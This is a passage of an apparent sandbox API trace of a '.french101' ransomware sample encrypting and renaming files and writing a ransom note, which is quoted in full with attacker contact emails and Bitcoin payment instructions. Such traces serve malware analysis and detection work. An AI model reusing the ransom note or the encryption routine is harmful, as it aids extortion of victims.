lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0277.318] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0277.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0277.318] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\я" (normalized: "c:\\588bce7c90097ed212\\1031\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.323] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0277.325] CloseHandle (hObject=0x35c) returned 1 [0277.325] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\я" (normalized: "c:\\588bce7c90097ed212\\1031\\я")) returned 1 [0277.326] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0277.326] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0277.326] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0277.326] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0277.327] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", dwFileAttributes=0x20) returned 1 [0277.327] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.327] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.327] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xd5b [0277.327] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.327] SetFilePointer (in: hFile=0x35c, lDistanceToMove=3419, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xd5b [0277.327] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0277.329] CloseHandle (hObject=0x35c) returned 1 [0277.329] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.330] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.330] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xd5c [0277.330] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.330] SetFilePointer (in: hFile=0x35c, lDistanceToMove=3419, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xd5b [0277.330] SetEndOfFile (hFile=0x35c) returned 1 [0277.332] CloseHandle (hObject=0x35c) returned 1 [0277.333] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.333] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.333] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xd5b [0277.333] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.334] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.334] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.334] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xd5b [0277.334] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.334] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.335] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.335] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0277.335] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.335] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.335] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0277.335] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.335] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0277.335] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0277.335] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.335] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0277.335] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.336] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0277.336] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xd5b [0277.336] SetFilePointer (in: hFile=0x35c, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0277.336] SetFilePointer (in: hFile=0x35c, lDistanceToMove=3419, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xd5b [0277.336] WriteFile (in: hFile=0x35c, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0277.389] WriteFile (in: hFile=0x35c, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0277.390] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.390] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.390] CloseHandle (hObject=0x35c) returned 1 [0277.391] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\G7l440rGzpCUoNv5+Vf=94.french101" (normalized: "c:\\588bce7c90097ed212\\1031\\g7l440rgzpcuonv5+vf=94.french101")) returned 1 [0277.392] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\G7l440rGzpCUoNv5+Vf=94.french101" (normalized: "c:\\588bce7c90097ed212\\1031\\g7l440rgzpcuonv5+vf=94.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.392] SetFileTime (hFile=0x35c, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0277.392] CloseHandle (hObject=0x35c) returned 1 [0277.392] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\G7l440rGzpCUoNv5+Vf=94.french101", dwFileAttributes=0x80) returned 1 [0277.392] CloseHandle (hObject=0x35c) returned 0 [0277.393] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.393] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.393] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.393] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.393] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0277.393] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.393] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.393] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0277.393] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.393] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0277.393] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0277.394] GetLastError () returned 0x2 [0277.394] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1031\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.394] WriteFile (in: hFile=0x35c, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0277.395] CloseHandle (hObject=0x35c) returned 1 [0277.395] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.395] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.395] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.395] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0277.395] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0277.395] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.395] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0277.396] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.396] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0277.396] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.396] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.396] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.396] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.396] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0277.397] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0277.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0277.397] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0277.397] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0277.397] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0277.397] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0277.397] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0277.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.398] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.398] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x141aa [0277.398] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.398] SetFilePointer (in: hFile=0x35c, lDistanceToMove=82346, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x141aa [0277.398] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0277.402] CloseHandle (hObject=0x35c) returned 1 [0277.407] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.407] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.408] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x141ab [0277.408] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.408] SetFilePointer (in: hFile=0x35c, lDistanceToMove=82346, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x141aa [0277.408] SetEndOfFile (hFile=0x35c) returned 1 [0277.411] CloseHandle (hObject=0x35c) returned 1 [0277.411] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.411] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.411] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x141aa [0277.411] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.412] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.412] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0277.412] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.413] SetFilePointer (in: hFile=0x35c, lDistanceToMove=64157, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xfa9d [0277.413] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.413] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0277.413] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0277.413] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0277.413] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.414] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0277.414] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.414] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.414] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.414] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.429] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0277.430] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.430] SetFilePointer (in: hFile=0x35c, lDistanceToMove=64157, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xfa9d [0277.523] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.562] SetFilePointer (in: hFile=0x35c, lDistanceToMove=82346, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x141aa [0277.562] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0277.562] WriteFile (in: hFile=0x35c, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: 